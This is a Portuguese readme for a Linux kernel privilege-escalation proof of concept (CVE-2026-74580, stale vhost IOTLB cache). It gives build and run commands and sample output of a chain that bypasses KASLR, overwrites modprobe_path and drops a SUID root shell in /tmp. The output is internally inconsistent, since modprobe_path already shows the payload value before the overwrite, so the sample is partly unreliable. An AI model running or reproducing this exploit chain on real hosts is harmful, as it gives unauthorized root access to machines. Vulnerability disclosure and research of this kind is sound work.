
Prova de conceito em C para CVE-2026-74580: explora o cache de metadados IOTLB obsoleto de vhost para sobrescrever modprobe_path e escalar para root em hosts Linux x86-64.
Código original e arquivo readme de: https://github.com/zhangutah/security-research
Saída esperada:
./poc
=== vhost stale IOTLB metadata cache -> modprobe_path write ===
[*] static: _stext=0xffffffff81000000 asm_exc_de=0xffffffff81001030 modprobe_path=0xffffffff83731920
[*] modprobe_path before: "/tmp/pwn"
[*] Step 1: KASLR bypass via IDT[0]
[*] reading IDT[0] @ 0xfffffe0000000000
[+] asm_exc_divide_error runtime 0xffffffffa4e01030, slide 0x23e00000
[+] runtime modprobe_path @ 0xffffffffa7531920
[*] Step 2: overwriting modprobe_path with a marker
[+] kwrite_str: "/tmp/pwn" -> 0xffffffffa7531920
[*] Step 3: verifying via /proc/sys/kernel/modprobe
[*] modprobe_path after: "/tmp/pwn"
[*] Step 4: Privilege Escalation
[+] Triggered request_module() call.
[+] SUID shell created at /tmp/sh
[*] Exec shell at /tmp/sh ...
sh-5.3# whoami
root
vq->meta_iotlb[] armazena em cache o mapeamento IOTLB por trás de cada região de metadados do vring
(desc / avail / used). VHOST_SET_VRING_ADDR e VHOST_SET_VRING_NUM
não redefinem esse cache. Com um IOTLB de dispositivo anexado, um vq ativo pode traduzir
um vring reconfigurado por meio de um mapeamento que não o cobre mais.
vhost_vq_meta_fetch() não possui verificação de intervalo, e o resultado é passado para
__copy_to_user() / __copy_from_user().
O mesmo cache obsoleto é alcançável a partir de um convidado quando o vhost é executado no modo
device-IOTLB (VIRTIO_F_ACCESS_PLATFORM / vIOMMU) e o convidado redefine uma virtqueue
via VIRTIO_F_RING_RESET. Esse caminho não é este PoC.
de845981da67poc.c é um PoC de host x86-64 contra /dev/vhost-vsock. Ele abre um shell root como euid=0. Ele cria /tmp/sh como suid root. Exclua o arquivo após testar manualmente!
cc -O2 -Wall -Wextra -o poc poc.c
./poc
A busca de símbolos usa, em ordem: $SYSTEM_MAP, /boot/System.map-$(uname -r),
/usr/lib/modules/$(uname -r)/build/System.map. modprobe_path deve estar
presente; asm_exc_divide_error recorre a um endereço estático se estiver ausente.
O processo deve ser capaz de abrir /dev/vhost-vsock. Algumas imagens incluem esse nó
com 0666; outras com 0660 root:kvm.
Execute apenas em um sistema de teste descartável de sua propriedade.